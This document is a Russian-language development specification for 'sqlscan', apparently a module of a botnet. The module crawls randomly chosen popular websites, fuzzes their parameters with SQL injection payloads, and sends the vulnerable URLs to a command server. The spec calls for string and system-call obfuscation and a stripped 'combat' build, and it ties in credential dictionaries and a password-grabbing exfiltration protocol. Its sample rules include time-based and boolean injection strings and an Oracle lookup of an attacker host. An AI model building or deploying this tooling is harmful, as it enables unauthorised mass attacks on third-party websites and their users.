Вы находитесь на странице: 1из 8

ЗАДАНИЕ НА РАЗРАБОТКУ СКАНЕРА УЯЗВИМОСТЕЙ ВЕБ-САЙТОВ

ЦЕЛЬ

Необходимо написать модуль сканера уязвимостей веб-сайтов. Модуль должен быть


оформлен в соответствии с правилами, приведенными в документе modules_HOWTO.

ПРИНЦИП РАБОТЫ

Сканер состоит из двух основных частей:


* кроулер
* детектор

Кроулер генерирует URL-адреса для проверки.


Детектор проверяет их.

Результатом проверки единичного сайта является факт наличия или отстутствия


уязвимости.
Если уязвимость найдена, она сопровождается дополнительной информацией:
- точный URL, на котором найдена уязвимость
- сработавшее правило сканера
- предполагаемый тип СУБД (определяется из сработавшего правила)

Результатом работы всего модуля является список найденных в процессе работы


уязвимостей.

РЕАЛИЗАЦИЯ

0. Название проекта - sqlscan

1. Сканер может и должен работать в несколько потоков. Число потоков задается


параметром в конфиге; если он отсутствует, используется константа времени
компиляции.
Есть два варианта разбиения на потоки:
1)
- в первой группе потоков отрабатывает кроулер по разным доменам, генерируя список
для детектора
- во второй группе потоков отрабатывает детектор, выбирая из выходного списка
кроулера записи для проверки.
2) в каждом потоке работает одновременно и кроулер, и детектор:
- кроулер генерирует домен для проверки и передает ее детектору
- детектор проверяет домен и вновь запускает кроулер.

Второй вариант выглядит проще с точки зрения межпоточной синхронизации.

2. Инициализация модуля:
Инициализируем генератор псевдослучайных чисел.
Случайности в алгоритме отводится большое значение.
Инициализация должна происходить значением GetTickCount64().

3. Алгоритм работы кроулера:


1) стартуем с https://findsubdomains.com/world-top (этот URL и правила его парсинга
задаются в конфиге - TODO пока не описано в ТЗ)
s3.amazonaws.com/alexa-static/top-1m.csv.zip
2) выбираем случайный сайт из списка от 1 до 50000
3) определяем субдомены этого сайта, с помощью DNS-запроса
4) парсим главную страницу:
- ищем ссылки с динамическими страницами (есть тело GET-запроса: page.html?
var=val&var1=val1...)
- ищем веб-формы с отправкой по POST
5) Парсим файл robots.txt. В них могут указывать динамические страницы, с просьбой
их не индексировать.
6) Составляем список параметров URI-запроса для страницы.
Отдельно помечаем те параметры, в которых есть:
- числа (в том числе отрицательные)
- url-encoded значения или обычный текст
Все параметры URI-запроса страницы являются неотъемлемыми свойствами страницы и
также передаются в выдачу.
Однако дальнейшее сканирование производится лишь по помеченным параметрам,
пригодным для скана.
7) добавляем страницу с параметрами в выдачу.

4. Алгоритм работы детектора:


1) Получаем следующий URL с выхода кроулера
2) Получаем следующее правило из списка правил
3) Применяем правило к странице.
3.1) Если правило сработало, добавляем страницу, сработавший параметр, и правило в
выдачу. goto 1.
3.2) Если правило не сработало, goto 2
3.3) Если правил больше нет, goto 1

5. Модуль отправляет список найденных уязвимостей раз в Н минут (задается


константой компиляции и настройкой из конфига),
при условии что с предыдущей отправки были найдены новые пароли.
Логика отправки и протокол описаны в документе "ТЗ граб паролей DPOST.txt"
Формат отправки: текст, разделенный на строки символами \r\n
В одной строке - одна запись.
Разделитель полей записи - символ '|' (вертикальная черта)
Формат записи:

url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n

таким образом, количество записей плавающее.


Здесь:
url - полный URL сайта с обнаруженной уязвимостью, ВКЛЮЧАЯ ВСЕ ПАРАМЕТРЫ
(т.е. все после символа ? в URI - важная информация!)
param - имя параметра с обнаруженной уязвимостью
rule name - имя правила обнаруженной уязвимости.

6. Модуль оформляется в соответствии с правилами разработки модулей (см.


modules_HOWTO.txt)

7. Модуль отправляет следующие события с тегом owa:


- "Version build %DATE% %TIME%" (один раз при старте)
- "Vulns sent to DPOST server" при успешной отправке собранных уязвимостей
- "Vulns send failure: servers unavailable" при отсутствии доступных серверов DPOST
- "No vulns detected, give up", если закончена отработка модуля и ничего не найдено
(гипотетический случай)
В таком случае, модуль должен выдать событие WantRelease (см "module_HOWTO") для
выгрузки из памяти

8. В данном модуле можно ограниченно использовать C++ STL (std::string,


контейнеры).
Запрещено использовать std::mutex и примитивы синхронизации - для этого можно
использовать только
примитивы синхронизации WinAPI (CRITICAL_SECTION итд).

9. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())

10. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным,


обфускация сисвызовов может давать падения.

11. Модуль должен иметь две версии - x32- и x64-разрядную.

12. В боевой сборке должны быть обфусцированы по максимуму строки, отключен


всяческий отладочный вывод.

13. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в
c:/temp/webscan.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.

14. В проекте должен быть файл настроек config.h (название неважно, важна суть -
здесь все глобальные настройки - пути, макросы-переключатели условной компиляции
итд).

15. Модуль должен работать на всех современных версиях Windows.


Минимальная поддерживаемая версия Windows - Windows XP (если невозможно -
Windows Vista).

16. Проект должен быть оформлен для сборки в Microsoft Visual Studio не ниже 2015.

17. Проект Visual Studio должен быть настроен следующим образом:


* Для ВСЕХ профилей сборки:
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$
(ProjectName)\
- Многопроцессорная компиляция: да
* Профиль Release:
- Формат отладочной информации (С/С++ создание кода): нет
- Создавать отладочную информацию (компоновщик/отладка): нет

ПРАВИЛА ФАЗЗИНГА

Правила фаззинга делятся на два типа:


- временнЫе: проверяют уязвимость наличием задержки при HTTP-ответе, при инъекции
кода с командой sleep.
- разностные: проверяют уязвимость фактом отсутствия разницы между константным
значением параметра
и этим же значением, _вычисляемым_ в инъектированном выражении.

Пример временнОго правила:


?var=aaa@aaa.com';waitfor delay '00:00:10'--
выполнится с задержкой 10 секунд, а
?var=aaa@aaa.com
выполнится без задержки

Пример разностного правила:


?id=22
и
?id=23-1
выдадут одинаковую страницу
а
?id=22
и
?id=23
выдадут разные страницы (суть второй проверки - убедиться, что изменение параметра
вообще в принципе влияет на выдачу).

В разностных правилах нужно учитывать, что формально разные результаты могут быть
фактически одинаковыми
(например если на странице есть вывод текущего времени - фактически страница не
изменялась, а формально страница секунду назад не равна странице сейчас).
Возможно, при проверке одинаковости страниц нужно считать расстояние Левенштейна
(правда, тут сомнения, т.к. алгоритм Вагнера — Фишера прожорлив до памяти).

КОНФИГИ

Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент
CtlArg (см. modules_HOWTO.txt)

Весь текст в конфигах регистрозависимый; теги и служебные значения должны быть в


нижнем регистре.
Конфиги должны быть в любой однобайтной кодировке (предпочтительно ASCII).
XML-комментарии запрещены.

* settings
Конфиг представляет из себя простой xml в следующем формате:

<scan>
<delay>задержка между итерациями подбора, в миллисекундах</delay>
<threads>число потоков подбора</threads>
<start>URL стартовой страницы, с которой брать список сайтов на
проверку</start>
<regex>регулярное выражение для поиска доменов на стартовой странице</regex>
</scan>

Все параметры из этого конфига опциональные. Если параметр не указан, используется


константа времени компиляции.

* rules

Список правил к тестированию:

<rules>
<rule>
<name>имя правила</name>
<type>time|diff (одно из двух этих значений)</type>
<value1>значение, подставляемое в тестируемый параметр</value1>
<value2>значение, подставляемое в тестируемый параметр</value2>
<value3>значение, подставляемое в тестируемый параметр</value3>
</rule>
...
<rule>
...
</rule>
</rules>
Назначение тегов:
name - название правила; играет роль в выдаче модуля (указывает на тип уязвимости)
type - одно из двух значений type или diff - определяет тип правила (временнОе или
разностное)
value* - для временнЫх правил, это значение нужно подставить в тестируемый
параметр.
Если тегов со значением несколько, их нужно подставить все по очереди, до
успеха.
При успешном тесте, оставшиеся значения можно не проверять.
- для разностных правил:
value1 - константное значение: с результатом выдачи на это значение мы будем
сравнивать
value2 - вычисляемый эквивалент: результат выдачи по этому значению мы будем
сравнивать с выдачей по value1.
value3 - контрольное значение: результат выдачи по этому значению мы будем
сравнивать с value1.
Успехом считается, если выдача на value1 и value2 одинакова, а value1 и value3
отличается.

Начальный вариант конфига

<rules>
<rule>
<name>MSSQL injection</name>
<type>time</type>
<value1>aaa@aaa.com';waitfor delay '00:00:10'--</value1>
</rule>
<rule>
<name>MySQL injection</name>
<type>time</type>
<value1>aaa@aaa.com';SELECT BENCHMARK(1000000,MD5(‘A’));--</value1>
</rule>
<rule>
<name>Postgres injection</name>
<type>time</type>
<value1>aaa@aaa.com';SELECT pg_sleep(10);--</value1>
</rule>
<rule>
<name>Oracle injection</name>
<type>time</type>
<value1>aaa@aaa.com';BEGIN DBMS_LOCK.SLEEP(5); END; --</value1>
<value2>aaa@aaa.com';SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; --
</value2>
<value3>aaa@aaa.com';SELECT UTL_INADDR.get_host_address('blah.attacker.com')
FROM dual; --</value3>
<value4>aaa@aaa.com';SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; --
</value4>
</rule>
<rule>
<name>Unescaped numeric</name>
<type>diff</type>
<value1>22</value1>
<value2>23-1</value2>
<value3>23</value3>
</rule>
<rule>
<name>Unescaped string</name>
<type>diff</type>
<value1>22</value1>
<value2>22' and '1' = '1</value2>
<value3>22' and '2'='1</value3>
</rule>
</rules>

ВТОРАЯ ВЕРСИЯ

Во второй версии модуль управляется не входными данными из конфигов, а запросами к


командному серверу.

КОМАНДНЫЙ СЕРВЕР И КОНФИГИ

Ранее мы получали все исходные данные в виде конфигов от бекенда ботов.


Это довольно неудобно по разным причинам - ограничения бекенда на размеры конфигов,
ограничения на управление конфигами оператором, отсутствие общего статуса сети,
отсутствие специализированного хранилища для результатов.

Вместо этого будет использоваться командный сервер, у которого мы просим настройки


и входные списки,
и которому отдаем добычу.

В связи с этим, упраздняются все конфиги из первой версии.


Появляется новый конфиг srv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным
портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым,
по каждому запросу.

Получить режим работы можно HTTP-запросом на сервер

GET /<group>/<clientid>/sql/mode HTTP/1.1


Значения group и clientid - это поля struct ParentInfo
CHAR ParentID[256];
CHAR ParentGroup[64];
(см. module_HOWTO)

В теле HTTP-ответа модуль ожидает строку brute или check.


Любое другое значение некорректно - в таком случае модуль делает повторные запросы
каждые 5 минут; до получения корректного ответа работа модуля не начинается.

Число потоков сканирования:


GET /<group>/<clientid>/sql/th HTTP/1.1

В ответ - неотрицательное число.


Если atoi(ответ) == 0, то число потоков по умолчанию = std::thread_concurrency() -
1.

Сканер получает список доменов для проверки HTTP-запросом на сервер

GET /<group>/<clientid>/sql/domains HTTP/1.1


Формат ответа:
адрес1[\r]\n
домен2[\r]\n
...
(одна или множество записей)

При завершении перебора по выданному списку мы даем знать об этом серверу:

GET /<group>/<clientid>/sql/over HTTP/1.1

Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой
ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).

Словарь для перебора получаем HTTP-запросом к управляющему серверу:


GET /<group>/<clientid>/sql/dict HTTP/1.1

В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на
заголовок ответа Content-Type)
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как
для простого текста.
Формат:
email:password[\r]\n

Правила сканирования запрашиваем так:


GET /<group>/<clientid>/sql/rules HTTP/1.1

Ответ - text/plain либо application/gzip (пока ограничиться text/plain)

Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания
протокола) запросом

POST /<group>/<clientid>/sql/81 HTTP/1.1

Собранные данные отправляются в контейнере multipart/form-data с полями source и


data.
Значение поля source - "SQL Injections"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:

url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n


...
(одна или множество записей)

Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-


запросом
GET /<group>/<clientid>/sql/freq HTTP/1.1

В теле ответа мы ожидаем число - это число секунд, не чаще которого следует
отправлять данные.
Если это 0 - отправка сразу по готовности нового результата.
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X
секунд,
очищая буфер при успешной отправке.

При завершении перебора по выданному списку мы даем знать об этом серверу:

GET /<group>/<clientid>/sql/over HTTP/1.1

Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой
ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).

Вам также может понравиться